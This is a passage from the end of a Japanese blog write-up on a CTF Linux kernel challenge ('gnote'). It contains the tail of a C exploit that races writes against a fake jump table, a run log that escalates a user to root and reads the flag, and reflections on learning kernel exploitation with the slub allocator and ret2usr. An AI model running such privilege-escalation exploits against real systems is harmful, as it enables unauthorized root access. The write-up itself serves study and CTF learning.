156
157/********************
158 dive into loop and jmp to fake jmptable
159*********************/
160
161  printf("Into loop: push any key\n");
162  fgetc(stdin);
163
164
165  pthread_t thr;
166  pthread_create(&thr, 0, thread_func, &mal_switch[0]);
167
168  for(int ix=0;ix!=100000;++ix){
169    if(ix%0x1000==0)
170      printf("try :0x%x\n",ix);
171    write(fd, mal_switch, sizeof(mal_switch));
172  }
173
174  return 0;
175}

結果 Link to this heading

result.sh
  114375 ブロック
  2 ________  ________   ________  _________  _______
  3|\   ____\|\   ___  \|\   __  \|\___   ___\  ___ \
  4\ \  \___|\ \  \ \  \ \  \|\  \|___ \  \_\ \   __/|
  5 \ \  \  __\ \  \ \  \ \  \\  \   \ \  \ \ \  \_|/__
  6  \ \  \|\  \ \  \ \  \ \  \\  \   \ \  \ \ \  \_|\ \
  7   \ \_______\ \__\ \__\ \_______\   \ \__\ \ \_______\
  8    \|_______|\|__| \|__|\|_______|    \|__|  \|_______|
  9
 10
 11
 12/ $ whoami
 13whoami: unknown uid 1000
 14/ $ cat /flag
 15cat: can't open '/flag': Permission denied
 16/ $ ./dbg/exploit1
 17read bytes: 100
 18kernel _text base: 0xffffffffaf400000
 19
 20*******************************
 21***************************
 22fake table: 0x10000 ~ 0x2010000
 23 pointing to 0xffffffffaf406e10
 24*******************************
 25***************************
 26writing jmp entries into jmptable
 27     ~0x10000
 28     ~0x18000
 29     ~0x20000
 30     ~0x28000
 31     ~0x30000
 32     ~0x38000
 33     ~0x40000
 34     ~0x48000
 35     ~0x50000
 36     ~0x58000
 37     ~0x60000
 38     ~0x68000
 39     ~0x70000
 40     ~0x78000
 41     ~0x80000
 42     ~0x88000
 43     ~0x90000
 44     ~0x98000
 45     ~0xa0000
 46     ~0xa8000
 47     ~0xb0000
 48     ~0xb8000
 49     ~0xc0000
 50     ~0xc8000
 51     ~0xd0000
 52     ~0xd8000
 53     ~0xe0000
 54     ~0xe8000
 55     ~0xf0000
 56     ~0xf8000
 57     ~0x100000
 58     ~0x108000
 59     ~0x110000
 60     ~0x118000
 61     ~0x120000
 62     ~0x128000
 63     ~0x130000
 64     ~0x138000
 65     ~0x140000
 66     ~0x148000
 67     ~0x150000
 68     ~0x158000
 69     ~0x160000
 70     ~0x168000
 71     ~0x170000
 72     ~0x178000
 73     ~0x180000
 74     ~0x188000
 75     ~0x190000
 76     ~0x198000
 77     ~0x1a0000
 78     ~0x1a8000
 79     ~0x1b0000
 80     ~0x1b8000
 81     ~0x1c0000
 82     ~0x1c8000
 83     ~0x1d0000
 84     ~0x1d8000
 85     ~0x1e0000
 86     ~0x1e8000
 87     ~0x1f0000
 88     ~0x1f8000
 89     ~0x200000
 90     ~0x208000
 91     ~0x210000
 92     ~0x218000
 93     ~0x220000
 94     ~0x228000
 95     ~0x230000
 96     ~0x238000
 97     ~0x240000
 98     ~0x248000
 99     ~0x250000
100     ~0x258000
101     ~0x260000
102     ~0x268000
103     ~0x270000
104     ~0x278000
105     ~0x280000
106     ~0x288000
107     ~0x290000
108     ~0x298000
109     ~0x2a0000
110     ~0x2a8000
111     ~0x2b0000
112     ~0x2b8000
113     ~0x2c0000
114     ~0x2c8000
115     ~0x2d0000
116     ~0x2d8000
117     ~0x2e0000
118     ~0x2e8000
119     ~0x2f0000
120     ~0x2f8000
121     ~0x300000
122     ~0x308000
123     ~0x310000
124     ~0x318000
125     ~0x320000
126     ~0x328000
127     ~0x330000
128     ~0x338000
129     ~0x340000
130     ~0x348000
131     ~0x350000
132     ~0x358000
133     ~0x360000
134     ~0x368000
135     ~0x370000
136     ~0x378000
137     ~0x380000
138     ~0x388000
139     ~0x390000
140     ~0x398000
141     ~0x3a0000
142     ~0x3a8000
143     ~0x3b0000
144     ~0x3b8000
145     ~0x3c0000
146     ~0x3c8000
147     ~0x3d0000
148     ~0x3d8000
149     ~0x3e0000
150     ~0x3e8000
151     ~0x3f0000
152     ~0x3f8000
153     ~0x400000
154     ~0x408000
155stack @ 0xaf3f6000 ~ 0xaf416000
156get_shell @ 0x40200c72
157*******************
158
159Into loop: push any key
160
161try :0x0
162...repeating xchg $rbx,
163try :0x1000
164try :0x2000
165try :0x3000
166try :0x4000
167try :0x5000
168try :0x6000
169try :0x7000
170try :0x8000
171try :0x9000
172try :0xa000
173try :0xb000
174try :0xc000
175try :0xd000
176/ # whoami
177root
178/ # cat /flag
179TWCTF{flag}
180/ #

ちゃんと root 権限で flag が読めた!!!!! 味気ない flag!!

アウトロ Link to this heading

慣れない kernel exploitation でありかなり時間がかかってしまった。 だが今回やったことの中には GOT overwrite/ UAF/ unsortedbin attack みたいな典型的な知識もきっと含まれているのだろう (特に権限昇格の部分は常套手段らしい)。 今後も kernel 問を解いていって、どれがよく使う知識なのかを見極めていきたい

さて、今回は人生で初めて kernel exploitation をしたことになる。 (ほぼ丸パクリだが、実際に kernel を読んで exploit の意味や関係する分野の周辺知識を理解しようとした点で自分にとっては全くの無益ではないように思う。勿論見る側は参考元を見ればいいだけの話だが)。

往々にして初めてというものは、あとから思い返すともの凄く恥ずかしい出来になる。 自分が pwn を始めた 3 月頃の記事を見返しても、こいつ何言っているんだと言いたくなるような恥ずかしい内容になっているものも多い。 きっとこの記事も、今後自分がレベルを上げたときに見返すと恥ずかしい出来のものであろう。

だが誰もが最初は newbie だ。 newbie だからとうじうじ何もせずとどまっているよりも、 恥を承知で人に聞いて、自分で調べて、行動したほうが何倍も面白い。 見返して恥ずかしい内容だったならば、腕を上げたと自信を持てばいい。

Thanks Link to this heading

なおこの記事は TSG の分科会**#sig-source-reading-hard**の一環とした書かれたものである:

  • 協力: toka / JP3BGY
  • Special Thanks: Tokyo Westerns

参考 Link to this heading

  1. 全面的に参考にした gnote の writeup 記事
  2. 環境構築に参考にした記事
  3. slub アロケータについての概念から実際の仕組みまでの詳細な解説記事
  4. linux   kernel のソースコード
  5. slub アロケータについての補助的な理解
  6. slub アロケータについての IBM の記事
  7. slub アロケータについての詳細なドキュメント(若干古いか?)
  8. 2 の筆者様による slub アロケータの明快なスライド
  9. RCU について
  10. LKM
  11. カーネルデバッグについて
  12. ret2usr による権限昇格について
  13. ユーザ空間への戻り方について
  14. sysretq について